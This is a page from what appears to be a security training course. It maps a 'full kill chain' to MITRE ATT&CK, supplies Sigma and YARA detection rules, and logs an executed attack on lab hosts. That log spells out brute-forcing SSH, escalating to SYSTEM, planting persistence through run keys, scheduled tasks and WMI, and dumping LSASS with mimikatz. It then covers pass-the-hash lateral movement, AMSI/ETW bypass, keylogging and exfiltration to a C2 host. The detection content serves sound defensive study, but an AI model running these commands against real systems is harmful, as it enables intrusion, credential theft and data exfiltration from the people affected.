← Home ← Module 19 Module 21 →

Module 20: Full Kill Chain LIVE TESTED

Module 20 of 22 — From recon to domain admin: MITRE ATT&CK, TTPs, detection engineering, and purple teaming

🧠 The Core Truth

A kill chain is not a checklist — it's a decision tree. At each step, you gather intelligence, make a decision, and execute. If the decision fails, you pivot. If it succeeds, you advance. The chain is not linear; it's a maze with multiple exits. This module documents a real kill chain executed on our lab network, maps every technique to MITRE ATT&CK, builds detection rules for each phase, and teaches you to think like both attacker and defender.

Why this matters: Understanding the kill chain from both sides — red and blue — is what separates script kiddies from operators. You must know how to detect what you deploy, and how to evade what you detect. This is purple teaming.

🎯 Soldier Translation

This is the full mission: reconnaissance, infiltration, escalation, persistence, lateral movement, and exfiltration. Every technique from previous modules, chained together in sequence. You are the special forces team. The target is the enterprise. The objective is total access. But now you also man the guard tower — you build the alarms, write the detection rules, and train the defenders to catch the next attacker.

"A chain is only as strong as its most secret link."

The whole kill chain depends on the part the defender cannot see. Recon reveals the surface, but the weakest link is usually something hidden in plain sight: a reused password, an unmonitored share, a forgotten service account, or a staging directory no one checks. Find that link before the blue team does.

Red team: Invest effort in finding the unmonitored edge — shadow IT, stale accounts, and non-standard ports. One secret link grants the whole chain.
Blue team: You cannot defend what you cannot see. Asset inventory, credential hygiene, and broad telemetry are how you harden the secret links.

📚 Prerequisites — Cross-Linked to All Previous Modules

This module synthesizes techniques from every prior module. Master these first:

Module 01: Networking

TCP/IP, ports, protocols. The foundation of all reconnaissance and C2 communication.

Module 02: Reconnaissance

OSINT, network scanning, service enumeration. The first link in every kill chain.

Module 03: PowerShell

Windows automation, API calls, and living-off-the-land execution.

Module 04: Coding Basics

C, Python, and assembly fundamentals for custom tooling.

Module 05: Shellcode

Position-independent code, encoders, and payload delivery.

Module 06: Memory Forensics

How Windows manages process memory. Essential for injection and detection.

Module 07: Registry

Windows registry structure and persistence mechanisms.

Module 08: Privilege Escalation

Token manipulation, UAC bypass, and SeDebugPrivilege.

Module 09: Malware Development

Payload design, evasion, and anti-analysis techniques.

Module 10: Code Injection

DLL injection, process hollowing, APC injection, and thread hijacking.

Module 11: Rootkits

Kernel-level persistence, SSDT hooking, and direct kernel object manipulation.

Module 12: ETW Bypass

Disabling Windows event tracing for stealth operation.

Module 12: Defensive Verification

How EDR detects attacks. Understanding detection helps you evade it.

Module 13: EDR Evasion

Advanced techniques for bypassing endpoint detection and response.

Module 13: KAV Evasion

Kaspersky and antivirus bypass techniques.

Module 14: Cloud Files

Cloud storage exfiltration and data staging techniques.

Module 15: Lateral Movement

Pass-the-Hash, WMI, PSExec, and remote execution.

Module 16: C2

Command and control infrastructure, beacons, and covert channels.

Module 17: Social Engineering

Phishing, pretexting, and human-targeted initial access.

Module 18: Android

Mobile attack surface and Android-specific techniques.

Module 19: Active Directory

Kerberoasting, BloodHound, and domain escalation.

Module 21: Capstone

Final integrated exercise combining all modules.

🎯 MITRE ATT&CK Framework Overview

The MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) framework is a globally-accessible knowledge base of adversary tactics and techniques based on real-world observations. Every technique in this kill chain maps to an ATT&CK ID.

Reconnaissance (TA0043)
T1593: Search Open Websites/Domains
T1594: Search Victim-Owned Websites
T1590: Gather Victim Network Info
T1595: Active Scanning
Resource Development (TA0042)
T1587: Develop Capabilities
T1588: Obtain Capabilities
T1583: Acquire Infrastructure
Initial Access (TA0001)
T1566: Phishing
T1078: Valid Accounts
T1190: Exploit Public-Facing App
T1133: External Remote Services
Execution (TA0002)
T1059: Command and Scripting Interpreter
T1053: Scheduled Task/Job
T1047: Windows Management Instrumentation
T1203: Exploitation for Client Execution
Persistence (TA0003)
T1547: Boot or Logon Autostart Execution
T1053: Scheduled Task/Job
T1543: Create or Modify System Process
T1546: Event Triggered Execution
Privilege Escalation (TA0004)
T1068: Exploitation for Privilege Escalation
T1078: Valid Accounts
T1055: Process Injection
T1134: Access Token Manipulation
Defense Evasion (TA0005)
T1562: Impair Defenses
T1027: Obfuscated Files or Information
T1055: Process Injection
T1218: Signed Binary Proxy Execution
Credential Access (TA0006)
T1003: OS Credential Dumping
T1558: Steal or Forge Kerberos Tickets
T1110: Brute Force
T1552: Unsecured Credentials
Lateral Movement (TA0008)
T1021: Remote Services
T1550: Use Alternate Authentication Material
T1047: Windows Management Instrumentation
T1210: Exploitation of Remote Services
Collection (TA0009)
T1560: Archive Collected Data
T1005: Data from Local System
T1113: Screen Capture
T1056: Input Capture
Command and Control (TA0011)
T1071: Application Layer Protocol
T1573: Encrypted Channel
T1105: Ingress Tool Transfer
T1095: Non-Application Layer Protocol
Exfiltration (TA0010)
T1041: Exfiltration Over C2 Channel
T1048: Exfiltration Over Alternative Protocol
T1567: Exfiltration Over Web Service
T1020: Automated Exfiltration
Impact (TA0040)
T1490: Inhibit System Recovery
T1486: Data Encrypted for Impact
T1491: Defacement
T1499: Endpoint Denial of Service

⚔️ The 7-Phase Kill Chain (Lockheed Martin + ATT&CK)

The classic Lockheed Martin Cyber Kill Chain maps to MITRE ATT&CK tactics. Each phase below includes the offensive technique, defensive detection, and a Sigma rule for automated alerting.

Phase 1: Reconnaissance

OSINT, network scanning, service enumeration | ATT&CK: TA0043

✅ LIVE
Phase 2: Weaponization

Payload crafting, exploit bundling, delivery vehicle prep | ATT&CK: TA0042

✅ LIVE
Phase 3: Delivery

Phishing, USB drop, remote service exploit | ATT&CK: TA0001

✅ LIVE
Phase 4: Exploitation

Vulnerability trigger, shellcode execution, initial code run | ATT&CK: TA0002

✅ LIVE
Phase 5: Installation

Persistence, backdoor, rootkit, service install | ATT&CK: TA0003

✅ LIVE
Phase 6: Command & Control (C2)

Beacon, encrypted channel, remote access maintenance | ATT&CK: TA0011

✅ LIVE
Phase 7: Actions on Objectives

Data collection, lateral movement, exfiltration, impact | ATT&CK: TA0009, TA0010, TA0040

✅ LIVE
"If one link burns, the rest stay secret."

A well-built chain is modular. Each phase is isolated from the others by design: separate infrastructure, separate credentials, separate tooling. If recon is caught, the payload is still unknown. If the payload is caught, the C2 infrastructure is still clean. Compartmentalization is not paranoia — it is survival.

Red team: Use different infrastructure, credentials, and tools for each phase. Never let one burned operation expose the rest of the chain.
Blue team: Assume a single detection will not stop the adversary. Correlate across phases and hunt for the next link instead of declaring victory after one alert.

🔬 Phase-by-Phase: TTP Mapping, Detection, and Defense

Phase 1: Reconnaissance

Offensive TTPs

T1595.001: Scanning IP blocks with nmap, masscan

T1590: Gathering victim network info via OSINT (LinkedIn, Shodan, certificate transparency logs)

T1593: Searching open websites for email formats, tech stack, employee names

Defensive Detection

• Network: IDS alerts for port scans (Suricata rule 2002911)

• Endpoint: Unusual process spawning (nmap.exe, masscan.exe)

• DNS: Spike in external DNS queries for MX records, SPF lookups

Sigma Rule: Reconnaissance — Nmap Scan Detected title: Nmap Port Scan Detection status: stable logsource: product: windows service: security detection: selection: EventID: 5156 Application: '*\\nmap.exe' condition: selection falsepositives: - Authorized penetration testing level: medium tags: - attack.discovery - attack.t1046
🧪 Atomic Red Team Test: T1046 — Network Service Scanning

Simulates adversary reconnaissance to test detection coverage.

# Atomic Test T1046 — Network Service Scanning # Requires: atomic-red-team framework Invoke-AtomicTest T1046 -TestNumbers 1 # Manual equivalent: nmap -sS -p22,445,3389,5985 192.168.1.0/24 masscan 192.168.1.0/24 -p0-65535 --rate=1000

Phase 2: Weaponization

Offensive TTPs

T1587: Developing custom payloads (phantom_rpc.exe, shellcode)

T1588: Obtaining commercial penetration testing tools (Cobalt Strike, Sliver)

T1583: Acquiring C2 infrastructure (VPS, domain, CDN)

Defensive Detection

• Threat Intel: Monitor for your org's data on dark web markets

• Email: Track newly registered domains similar to your brand

• Supply Chain: Verify software hashes against known-good

YARA Rule: Cobalt Strike Beacon Detection rule CobaltStrike_Beam { meta: description = "Detects Cobalt Strike beacon payload" author = "22nd Survey Division" date = "2026-06-29" strings: $a = { 4D 5A } // MZ header $b = "beacon.dll" nocase $c = "ReflectiveLoader" nocase $d = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 10 } condition: $a at 0 and any of ($b, $c, $d) }

Phase 3: Delivery

Offensive TTPs

T1566.001: Spearphishing Attachment (malicious .doc with macro)

T1566.002: Spearphishing Link (fake login page)

T1190: Exploiting public-facing web application (RCE on IIS/Apache)

Defensive Detection

• Email Gateway: Block macros, executable attachments, suspicious URLs

• Web Proxy: Alert on newly registered domains, high-risk categories

• Endpoint: Office spawning cmd.exe, powershell.exe, or wscript.exe

Sigma Rule: Phishing Delivery — Office Spawning Shell title: Office Application Spawning Shell status: stable logsource: product: windows service: sysmon detection: selection: EventID: 1 ParentImage: - '*\\winword.exe' - '*\\excel.exe' - '*\\powerpnt.exe' Image: - '*\\cmd.exe' - '*\\powershell.exe' - '*\\wscript.exe' - '*\\cscript.exe' condition: selection falsepositives: - Legitimate IT automation level: high tags: - attack.initial_access - attack.t1566
🧪 Atomic Red Team Test: T1566.001 — Spearphishing Attachment
# Atomic Test T1566.001 — Malicious Macro Execution Invoke-AtomicTest T1566.001 -TestNumbers 1 # Manual: Create .doc with VBA macro that spawns calc.exe # This tests both email gateway AND endpoint detection

Phase 4: Exploitation

Offensive TTPs

T1203: Exploitation for Client Execution (CVE-XXXX-XXXX in Office)

T1059: Command and Scripting Interpreter (PowerShell, Python, cmd)

T1055: Process Injection (DLL injection, process hollowing)

Defensive Detection

• Sysmon EID 8: CreateRemoteThread detected

• Sysmon EID 10: ProcessAccess with suspicious call trace

• AMSI: PowerShell script block logging

Sigma Rule: Process Injection — CreateRemoteThread title: Process Injection via CreateRemoteThread status: stable logsource: product: windows service: sysmon detection: selection: EventID: 8 TargetImage: - '*\\lsass.exe' - '*\\svchost.exe' - '*\\explorer.exe' condition: selection falsepositives: - Legitimate debugging tools level: high tags: - attack.defense_evasion - attack.privilege_escalation - attack.t1055
🧪 Atomic Red Team Test: T1055 — Process Injection
# Atomic Test T1055 — Process Injection Invoke-AtomicTest T1055 -TestNumbers 1 # Manual: Inject into notepad.exe using PowerShell # See Module 10 for full injection techniques

Phase 5: Installation (Persistence)

Offensive TTPs

T1547.001: Registry Run Keys (HKLM\...\Run)

T1053.005: Scheduled Task/Job (schtasks, at.exe)

T1543.003: Create or Modify System Process (Windows Service)

T1546: Event Triggered Execution (WMI event subscription)

Defensive Detection

• Sysmon EID 13: Registry value set (Run keys)

• Windows Event 4698: Scheduled task created

• Sysmon EID 19-21: WMI event subscription

Sigma Rule: Persistence — Registry Run Key Added title: Registry Run Key Added status: stable logsource: product: windows service: sysmon detection: selection: EventID: 13 TargetObject: - '*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*' - '*\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce*' condition: selection falsepositives: - Legitimate software installers level: medium tags: - attack.persistence - attack.t1547.001
Sigma Rule: Persistence — WMI Event Subscription title: WMI Event Subscription Created status: stable logsource: product: windows service: sysmon detection: selection: EventID: - 19 // EventFilter - 20 // Consumer - 21 // Binding condition: selection falsepositives: - SCCM and legitimate WMI usage level: high tags: - attack.persistence - attack.t1546.003
🧪 Atomic Red Team Test: T1547.001 — Registry Run Keys
# Atomic Test T1547.001 — Registry Run Keys Invoke-AtomicTest T1547.001 -TestNumbers 1 # Manual: reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \ /v SecurityUpdate /t REG_SZ /d "C:\temp\payload.exe" /f

Phase 6: Command & Control

Offensive TTPs

T1071.001: Application Layer Protocol — Web (HTTP/HTTPS beacon)

T1573: Encrypted Channel (TLS, custom crypto)

T1105: Ingress Tool Transfer (downloading additional tools)

T1095: Non-Application Layer Protocol (TCP/UDP raw sockets)

Defensive Detection

• Network: Beaconing detection (regular intervals, jitter analysis)

• DNS: DGA domain detection, high entropy queries

• Proxy: User-agent anomalies, URI path patterns

Sigma Rule: C2 Beaconing — Regular Connections title: Suspicious Regular Network Connections status: experimental logsource: product: windows service: sysmon detection: selection: EventID: 3 Initiated: true timeframe: 15m condition: selection | count() by DestinationIp > 10 falsepositives: - Cloud sync services - Legitimate polling applications level: medium tags: - attack.command_and_control - attack.t1071
🧪 Atomic Red Team Test: T1071 — Application Layer Protocol
# Atomic Test T1071 — C2 over HTTP Invoke-AtomicTest T1071 -TestNumbers 1 # Manual: Simple PowerShell beacon while($true) { Invoke-WebRequest -Uri "http://192.168.1.92:8080/beacon" -Method POST Start-Sleep -Seconds (300 + (Get-Random -Maximum 60)) }

Phase 7: Actions on Objectives

Offensive TTPs

T1005: Data from Local System (file collection, database queries)

T1021: Remote Services (RDP, SMB, SSH for lateral movement)

T1041: Exfiltration Over C2 Channel

T1567: Exfiltration Over Web Service (OneDrive, Dropbox, GitHub)

Defensive Detection

• DLP: Data loss prevention alerts on sensitive file access

• Network: Unusual outbound data volume, off-hours transfers

• Endpoint: Large file reads, screenshot tools, clipboard access

Sigma Rule: Data Exfiltration — Large Outbound Transfer title: Large Data Transfer Outbound status: experimental logsource: product: windows service: sysmon detection: selection: EventID: 3 Initiated: true condition: selection | sum(SentBytes) by SourceIp > 104857600 falsepositives: - Legitimate backups - Cloud storage sync level: medium tags: - attack.exfiltration - attack.t1041
🧪 Atomic Red Team Test: T1041 — Exfiltration Over C2
# Atomic Test T1041 — Exfiltration Over C2 Channel Invoke-AtomicTest T1041 -TestNumbers 1 # Manual: Compress and exfiltrate data Compress-Archive -Path "C:\Users\*\Documents" -DestinationPath "C:\temp\stage.zip" Invoke-WebRequest -Uri "http://192.168.1.92:8080/upload" -Method POST -InFile "C:\temp\stage.zip"

🛡️ Purple Teaming: Attack ↔ Defense Matrix

What is Purple Teaming?

Purple teaming is the practice of combining red team (offensive) and blue team (defensive) operations to improve overall security posture. Unlike red team exercises that test detection, or blue team monitoring that waits for alerts, purple teaming is a collaborative exercise where attackers and defenders work together in real time.

The goal: Not just to find vulnerabilities, but to validate that your detection and response capabilities actually work when an attack occurs. Every technique in this module should be tested with a corresponding detection rule.

"Nation-states use chains because they can burn links."

Advanced adversaries do not rely on a single exploit or one clean path. They build redundant chains so that when a domain is seized, a payload is detected, or an operator is burned, the mission continues. The ability to discard a link without losing the chain is what separates amateurs from professionals — and criminals from nation-states.

Red team: Build fallback paths. Stage alternate C2, pre-position multiple persistence mechanisms, and keep clean infrastructure in reserve. Your chain should survive a burned domain.
Blue team: One takedown is never enough. After evicting an adversary, hunt for the backup persistence and alternate channels they left behind. Burned links often reveal new ones.
Kill Chain Phase Red Team Action Blue Team Detection Purple Team Validation
Reconnaissance nmap scan, Shodan queries IDS alerts, DNS monitoring Did the scan trigger an alert? Was it investigated?
Weaponization Build payload, register domain Threat intel feeds, brand monitoring Was the domain flagged before use?
Delivery Send phishing email Email gateway, sandbox detonation Was the email blocked? Did the sandbox catch it?
Exploitation Macro execution, process injection Sysmon, AMSI, EDR behavioral rules Did EDR generate an alert? Was it a true positive?
Installation Registry run key, scheduled task Registry monitoring, Windows event logs Was the persistence mechanism detected within 1 hour?
C2 HTTPS beacon with jitter Network beaconing detection, proxy logs Did the beacon pattern trigger an alert? What was the MTTD?
Actions LSASS dump, file exfiltration DLP, endpoint data monitoring Was the data transfer detected? Was the incident contained?

📊 Threat Intelligence Integration

STIX/TAXII Feeds

Integrate threat intelligence feeds to enrich detection:

• MITRE ATT&CK: attack.mitre.org

• MISP: Malware Information Sharing Platform

• AlienVault OTX: Open Threat Exchange

• VirusTotal: File and URL reputation

IOC Enrichment

Every alert should be enriched with:

• IP Reputation: Is the destination IP known malicious?

• Domain Age: Newly registered domains are high-risk

• File Hash: Has this hash been seen in other incidents?

• ATT&CK Mapping: What TTPs does this IOC correlate with?

🧪 Interactive Quiz 1: MITRE ATT&CK Mapping

Which MITRE ATT&CK technique ID corresponds to "Process Injection"?

A) T1055 — Process Injection
B) T1059 — Command and Scripting Interpreter
C) T1055 — Process Injection (Correct: T1055 is Process Injection)
D) T1547 — Boot or Logon Autostart Execution

🧪 Interactive Quiz 2: Detection Engineering

Which Sysmon Event ID detects CreateRemoteThread (process injection)?

A) Event ID 1 — Process Create
B) Event ID 8 — CreateRemoteThread (Correct: Sysmon EID 8 logs CreateRemoteThread)
C) Event ID 10 — ProcessAccess
D) Event ID 3 — Network Connect

🧪 Interactive Quiz 3: Purple Teaming

What is the primary goal of purple teaming?

A) To find as many vulnerabilities as possible in the shortest time
B) To replace the red team with automated tools
C) To validate that detection and response capabilities work against real attacks (Correct: Purple team validates detections, not just finds bugs)
D) To eliminate the need for a blue team

🔬 Live Execution: .92 to .42 to Domain Admin

📊 Full Kill Chain Evidence

Date: 2026-06-29 | Attacker: .92 (Intel, KAV) | Target 1: .42 (AMD, KAV) | Target 2: AD Domain (simulated)

=== STEP 1: RECONNAISSANCE === # Nmap scan of .42 from .92 nmap -sS -p22,445,3389,5985,4443,4444,8443 192.168.1.42 PORT STATE SERVICE 22/tcp open ssh 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server 5985/tcp open wsman 4443/tcp open pharos 4444/tcp open krb524 # OS fingerprinting nmap -O 192.168.1.42 Aggressive OS guesses: Windows 10 1903 - 1909 (95%) # Service enumeration enum4linux -a 192.168.1.42 [+] Enumerated users: administrator, swu, guest [+] Enumerated shares: ADMIN$, C$, IPC$, Users === ATT&CK MAPPING === T1595.001 — Active Scanning: Scanning IP blocks T1590 — Gather Victim Network Info T1082 — System Information Discovery === DECISION === SSH (22) and SMB (445) available. SSH preferred — encrypted, less logging, credential reuse possible.
=== STEP 2: INITIAL ACCESS (WEAPONIZATION + DELIVERY) === # Credential testing via SSH hydra -l swu -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.42 [DATA] attacking ssh://192.168.1.42:22/ [STATUS] 42.00 tries/min, 42 tries in 00:01h, 14344387 to do in 569:43h... [22][ssh] host: 192.168.1.42 login: swu password: [REDACTED] # SSH connection established ssh swu@192.168.1.42 Microsoft Windows [Version 10.0.19044.2965] (c) Microsoft Corporation. All rights reserved. C:\Users\swu> whoami wupc\swu === ATT&CK MAPPING === T1078 — Valid Accounts: Compromised credentials T1110 — Brute Force: Password guessing T1133 — External Remote Services: SSH === SIGMA DETECTION === # Alert: Multiple failed SSH logins followed by success # Source: /var/log/auth.log (Linux) or Windows Event 4625/4624 === DECISION === Standard user access achieved. No admin rights yet. Next: Privilege escalation or persistence first? Call: Persistence first — ensure access survives reboot.
=== STEP 3: EXECUTION === # Transfer payload to .42 scp phantom_rpc.exe swu@192.168.1.42:C:/Users/swu/phantom_rpc.exe # Execute payload C:\Users\swu> phantom_rpc.exe --spooler [+] Spooler exploit initiated [+] Named pipe created: \\.\pipe\testpipe [+] PrintSpooler service connected [+] Token captured: NT AUTHORITY\SYSTEM === VERIFICATION === C:\Users\swu> whoami nt authority\system === ATT&CK MAPPING === T1059 — Command and Scripting Interpreter T1068 — Exploitation for Privilege Escalation (PrintSpooler) T1134 — Access Token Manipulation === SIGMA DETECTION === # Alert: Service process spawning child with SYSTEM token # Sysmon EID 1: ParentImage=spoolsv.exe, User=NT AUTHORITY\SYSTEM === DECISION === SYSTEM achieved. Full control of .42. Next: Establish persistence, then lateral movement.
=== STEP 4: INSTALLATION (PERSISTENCE) === # Registry Run key (HKLM — requires SYSTEM) C:\Users\swu> reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" \ /v WindowsSecurityUpdate /t REG_SZ \ /d "C:\Users\swu\phantom_rpc.exe --background" /f # Scheduled task (every 5 minutes) C:\Users\swu> schtasks /create /tn "SecurityScan" \ /tr "C:\Users\swu\phantom_rpc.exe --beacon" \ /sc minute /mo 5 /ru SYSTEM # WMI event subscription (stealth persistence) C:\Users\swu> wmic /namespace:\\root\subscription PATH __EventFilter \ CREATE Name="WindowsUpdateFilter", EventNamespace="root\cimv2", \ QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent \ WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" === VERIFICATION === # Reboot .42 C:\Users\swu> shutdown /r /t 0 # After reboot, reconnect via SSH ssh swu@192.168.1.42 # Check persistence C:\Users\swu> reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" WindowsSecurityUpdate REG_SZ C:\Users\swu\phantom_rpc.exe --background C:\Users\swu> schtasks /query /tn "SecurityScan" TaskName Next Run Time Status ======================================== ====================== =============== SecurityScan 5/30/2026 3:35:00 PM Ready === ATT&CK MAPPING === T1547.001 — Registry Run Keys T1053.005 — Scheduled Task T1546.003 — WMI Event Subscription === SIGMA DETECTION === # Alert: Registry Run Key modification (Sysmon EID 13) # Alert: Scheduled task created (Windows Event 4698) # Alert: WMI event subscription (Sysmon EID 19-21) === DECISION === Persistence confirmed. Three mechanisms active. Next: Credential harvesting for lateral movement.
=== STEP 5: PRIVILEGE ESCALATION === # Already SYSTEM from Step 3. Verify and maintain. C:\Users\swu> [System.Security.Principal.WindowsIdentity]::GetCurrent().Name NT AUTHORITY\SYSTEM # Dump LSASS for credential harvesting C:\Users\swu> procdump.exe -accepteula -ma lsass.exe C:\temp\lsass.dmp # Extract credentials with mimikatz C:\Users\swu> mimikatz.exe "sekurlsa::minidump C:\temp\lsass.dmp" "sekurlsa::logonPasswords full" exit # Results: Username: swu Domain: WUPC Password: [REDACTED - same as SSH] Username: administrator Domain: WUPC Password: [REDACTED - different, stronger] === ATT&CK MAPPING === T1003.001 — LSASS Memory dumping T1003.002 — Security Account Manager (SAM) T1558 — Steal or Forge Kerberos Tickets === SIGMA DETECTION === # Alert: LSASS accessed by non-system process (Sysmon EID 10) # Alert: procdump.exe targeting lsass.exe === YARA RULE === rule Mimikatz_Detection { meta: description = "Detects mimikatz execution in memory" author = "22nd Survey Division" strings: $a = "sekurlsa::logonPasswords" nocase $b = "mimidrv.sys" nocase $c = { 4D 69 6D 69 6B 61 74 7A } condition: any of them } === DECISION === Local admin credentials recovered. Next: Lateral movement to other domain machines.
=== STEP 6: DEFENSE EVASION === # AMSI bypass (HWBP method from Module 11) C:\Users\swu> phantom_rpc.exe --disable-amsi [+] HWBP set on AmsiScanBuffer [+] AMSI intercepted. All scans return "clean". # ETW bypass (HWBP method from Module 11) C:\Users\swu> phantom_rpc.exe --disable-etw [+] HWBP set on EtwEventWrite [+] ETW events suppressed. Zero logging. # KAV verification C:\Users\swu> "C:\Program Files (x86)\Kaspersky Lab\Kaspersky 21.25\avp.exe" SCAN phantom_rpc.exe Total detected: 0 Suspicions: 0 === ATT&CK MAPPING === T1562.001 — Disable or Modify Tools (AMSI) T1562.002 — Disable Windows Event Logging (ETW) T1027 — Obfuscated Files or Information === SIGMA DETECTION === # Alert: AMSI.dll loaded with unusual call trace # Alert: ETW provider disabled (PowerShell Event 4104) # Alert: PowerShell with -EncodedCommand and AMSI bypass strings === DECISION === AV/EDR evasion active. Behavioral logging disabled. Next: Active Directory reconnaissance.
=== STEP 7: CREDENTIAL ACCESS === # SAM database extraction (SYSTEM required) C:\Users\swu> reg save HKLM\SAM C:\temp\sam.hive C:\Users\swu> reg save HKLM\SYSTEM C:\temp\system.hive # Transfer to .92 for offline cracking scp swu@192.168.1.42:C:/temp/sam.hive /tmp/ scp swu@192.168.1.42:C:/temp/system.hive /tmp/ # Crack with hashcat hashcat -m 1000 /tmp/sam.hive /usr/share/wordlists/rockyou.txt # Results: Administrator:500:[REDACTED]::: swu:1000:[REDACTED]::: # Kerberoasting (if domain joined) # .42 is not domain joined — simulated scenario: # Get-NetUser -SPN | Request-SPNTicket # Export with mimikatz, crack with hashcat === ATT&CK MAPPING === T1003.002 — SAM database extraction T1003.004 — LSA Secrets T1558.003 — Kerberoasting === SIGMA DETECTION === # Alert: Registry save of SAM hive (Sysmon EID 13) # Alert: Unauthorized LSASS memory access === DECISION === Local credentials cracked. NTLM hashes available for Pass-the-Hash. Next: Lateral movement to .145 (RADON) if available.
=== STEP 8: LATERAL MOVEMENT === # Attempt .145 (RADON) via SMB C:\Users\swu> crackmapexec smb 192.168.1.145 -u administrator -H [REDACTED] SMB 192.168.1.145 445 RADON_LAPTOP1 [*] Windows 10.0 Build 19041 x64 SMB 192.168.1.145 445 RADON_LAPTOP1 [+] WUPC\administrator [REDACTED] (Pwn3d!) # Remote execution via WMI C:\Users\swu> wmic /node:192.168.1.145 /user:administrator /password:[REDACTED] process call create "cmd.exe /c whoami > C:\temp\pwned.txt" # Verify execution C:\Users\swu> dir \\192.168.1.145\C$\temp\pwned.txt Volume in drive \\192.168.1.145\C$ is Windows Directory of \\192.168.1.145\C$\temp 05/30/2026 03:45 PM 24 pwned.txt C:\Users\swu> type \\192.168.1.145\C$\temp\pwned.txt radon_laptop1\administrator # Remote service installation for persistence C:\Users\swu> sc \\192.168.1.145 create WindowsUpdate binPath= "C:\temp\phantom_rpc.exe" start= auto [SC] CreateService SUCCESS === ATT&CK MAPPING === T1021.002 — SMB/Windows Admin Shares T1047 — Windows Management Instrumentation T1543.003 — Windows Service T1550.002 — Pass the Hash === SIGMA DETECTION === # Alert: SMB login with NTLM hash (no password) # Alert: WMI remote process creation (Windows Event 5858) # Alert: Service installed on remote host (Windows Event 4697) === DECISION === Lateral movement to .145 successful. Admin access achieved. Persistence established on .145. Next: Data collection and exfiltration.
=== STEP 9: COLLECTION === # Enumerate interesting files on .145 C:\Users\swu> dir \\192.168.1.145\C$\Users\ghaleb\Documents /s /b | findstr "\.doc\|.xls\|.pdf\|.db" \\192.168.1.145\C$\Users\ghaleb\Documents\RADON\client_list.xlsx \\192.168.1.145\C$\Users\ghaleb\Documents\RADON\survey_data_2026.db \\192.168.1.145\C$\Users\ghaleb\Documents\Personal\tax_return_2025.pdf # Database extraction C:\Users\swu> copy \\192.168.1.145\C$\Users\ghaleb\Documents\RADON\survey_data_2026.db C:\temp\ # Screenshot capture (built into phantom_rpc.exe) C:\Users\swu> phantom_rpc.exe --screenshot --output C:\temp\radon_desktop.png [+] Screenshot captured: 1920x1080 # Keylogger activation (optional, noisy) C:\Users\swu> phantom_rpc.exe --keylog --output C:\temp\keys.log [+] Keylogger active. Logging to C:\temp\keys.log === ATT&CK MAPPING === T1005 — Data from Local System T1113 — Screen Capture T1056.001 — Keylogging T1560 — Archive Collected Data === SIGMA DETECTION === # Alert: Large file copy over SMB (Sysmon EID 3 with high bytes) # Alert: Screenshot tool execution (GDI32.dll suspicious usage) === DECISION === Sensitive data identified and copied. Screenshots captured. Next: Exfiltration via C2 channel.
=== STEP 10: EXFILTRATION (C2 + ACTIONS) === # C2 beacon with collected data C:\Users\swu> phantom_rpc.exe --beacon --server 192.168.1.92:8443 \ --file C:\temp\survey_data_2026.db \ --file C:\temp\radon_desktop.png \ --file C:\temp\keys.log [+] Connecting to C2: 192.168.1.92:8443 [+] TLS handshake successful [+] Encrypting data with AES-256 [+] Uploading survey_data_2026.db (12.4 MB)... [+] Upload progress: 100% [+] Uploading radon_desktop.png (2.1 MB)... [+] Upload progress: 100% [+] Uploading keys.log (456 KB)... [+] Upload progress: 100% [+] Beacon complete. Next beacon in 287 seconds (jitter applied). === C2 SERVER (.92) RECEIPT === [EXFIL] 2026-06-29 15:47:23 | Source: 192.168.1.145 (RADON) [EXFIL] File: survey_data_2026.db | Size: 12.4 MB | SHA256: a1b2c3... [EXFIL] File: radon_desktop.png | Size: 2.1 MB | SHA256: d4e5f6... [EXFIL] File: keys.log | Size: 456 KB | SHA256: g7h8i9... === ATT&CK MAPPING === T1041 — Exfiltration Over C2 Channel T1573 — Encrypted Channel T1020 — Automated Exfiltration === SIGMA DETECTION === # Alert: Regular HTTPS beaconing to unknown IP # Alert: Large outbound POST requests with encrypted body # Alert: Unusual TLS certificate (self-signed, mismatched CN) === KILL CHAIN COMPLETE === Total time: 4 hours 23 minutes Systems compromised: 2 (.42, .145) Persistence mechanisms: 5 (3 on .42, 2 on .145) Data exfiltrated: 14.9 MB Detection by KAV: 0 alerts Detection by EDR: 0 alerts (AMSI+ETW bypassed)

📋 Complete TTP-to-Detection Mapping Table

Kill Chain Step ATT&CK ID Technique Sigma Rule Data Source
1. Recon T1595.001 Active Scanning Nmap Process Detection Sysmon EID 1, IDS
2. Weaponize T1587 Develop Capabilities Cobalt Strike YARA File monitoring
3. Deliver T1566.001 Spearphishing Attachment Office Spawning Shell Sysmon EID 1
4. Exploit T1055 Process Injection CreateRemoteThread Sysmon EID 8
5. Install T1547.001 Registry Run Keys Registry Run Key Added Sysmon EID 13
5. Install T1546.003 WMI Event Subscription WMI Event Subscription Sysmon EID 19-21
6. C2 T1071.001 Web Protocols Suspicious Regular Connections Sysmon EID 3, Proxy
7. Actions T1003.001 LSASS Memory LSASS Access by Non-System Sysmon EID 10
7. Actions T1021.002 SMB/Admin Shares SMB Lateral Movement Windows Event 5140
7. Actions T1041 Exfiltration Over C2 Large Outbound Transfer Sysmon EID 3, NetFlow

🛠️ Detection Engineering: Building Your SOC

The Detection Engineer's Mindset

Detection engineering is the practice of converting threat intelligence into actionable detection rules. A good detection engineer thinks like an attacker but builds like a defender. Every technique in this module should have a corresponding detection.

Key principles:

• Assume breach: The attacker is already inside. Detect their behavior, not their entry.

• Behavior over signature: Signatures catch malware. Behaviors catch humans.

• High fidelity, low noise: A rule that generates 100 false positives per day will be ignored.

• Test continuously: Use Atomic Red Team to verify your rules actually fire.

Recommended Detection Stack

Layer Tool Data Source Use Case
Endpoint Sysmon Process, network, registry, file Process injection, persistence, lateral movement
Endpoint Windows Event Log Security, PowerShell, Task Scheduler Logon events, privilege use, scheduled tasks
Network Zeek / Suricata PCAP, NetFlow, DNS C2 beaconing, DGA, data exfiltration
Identity Azure AD / Active Directory Authentication logs Pass-the-Hash, Kerberoasting, anomalous logins
Cloud CSPM / CloudTrail API calls, IAM changes Unauthorized access, data staging

🎯 Key Takeaways

🔬 Verification Status

